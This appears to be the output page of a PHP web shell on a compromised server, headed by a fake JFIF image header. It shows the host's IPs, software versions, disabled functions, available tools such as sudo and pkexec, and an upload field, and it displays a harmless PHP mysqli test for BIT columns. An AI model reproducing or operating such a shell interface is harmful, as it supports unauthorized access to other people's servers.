????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.188.23.110 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/ |
Upload File : |
--TEST-- Fetching BIT column values using the PS API --SKIPIF-- <?php require_once('skipif.inc'); require_once('skipifemb.inc'); require_once('skipifconnectfailure.inc'); require_once('connect.inc'); require_once('table.inc'); if (mysqli_get_server_version($link) < 50003) // b'001' syntax not supported before 5.0.3 die("skip Syntax used for test not supported with MySQL Server before 5.0.3"); if (!$IS_MYSQLND && (mysqli_get_client_version() < 50003)) // better don't trust libmysql before 5.0.3 die("skip Syntax used for test not supported with MySQL Server before 5.0.3"); ?> --FILE-- <?php require('connect.inc'); if (!$link = my_mysqli_connect($host, $user, $passwd, $db, $port, $socket)) printf("[001] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket); /* NOTE: works only for up to 31 bits! This limitation should be documented. */ for ($bits = 1; $bits < 32; $bits++) { $max_value = pow(2, $bits) - 1; $tests = 0; if (!mysqli_query($link, "DROP TABLE IF EXISTS test") || !mysqli_query($link, $sql = sprintf('CREATE TABLE test(id INT, label BIT(%d)) ENGINE="%s"', $bits, $engine))) printf("[002 - %d] [%d] %s\n",$bits, mysqli_errno($link), mysqli_error($link)); if (!$stmt = mysqli_stmt_init($link)) printf("[003 - %d] [%d] %s\n", $bits, mysqli_errno($link), mysqli_error($link)); while ($tests < min($max_value, 20)) { $tests++; $value = mt_rand(0, $max_value); $sql = sprintf("INSERT INTO test(id, label) VALUES (%d, b'%s')", $value, decbin($value)); if (!mysqli_stmt_prepare($stmt, $sql) || !mysqli_stmt_execute($stmt)) printf("[004 - %d] [%d] %s\n", $bits, mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt)); $id = $_label0 = $label = null; $sql = sprintf("SELECT id, label + 0 AS _label0, label FROM test WHERE id = %d", $value); if (!mysqli_stmt_prepare($stmt, $sql) || !mysqli_stmt_execute($stmt) || !mysqli_stmt_bind_result($stmt, $id, $_label0, $label)) printf("[005 - %d] [%d] %s\n", $bits, mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt)); if (!mysqli_stmt_fetch($stmt)) printf("[006 - %d] [%d] %s\n", $bits, mysqli_stmt_errno($stmt), mysqli_stmt_error($stmt)); if (($id !== $_label0) || ($value !== $_label0)) { printf("[007 - %d] Insert of %d in BIT(%d) column might have failed. MySQL reports odd values, id = %s, _label0 = %s, label = %s.\n", $bits, $value, $bits, $id, $_label0, $label); } if ($value != $label) { printf("[008 - %d] Wrong values, (original) value = %s, id = %s, label + 0 AS label0 = %s, label = %s\n", $bits, $value, $id, $_label0, $label); } } mysqli_stmt_close($stmt); } mysqli_close($link); print "done!"; ?> --CLEAN-- <?php require_once("clean_table.inc"); ?> --EXPECTF-- done!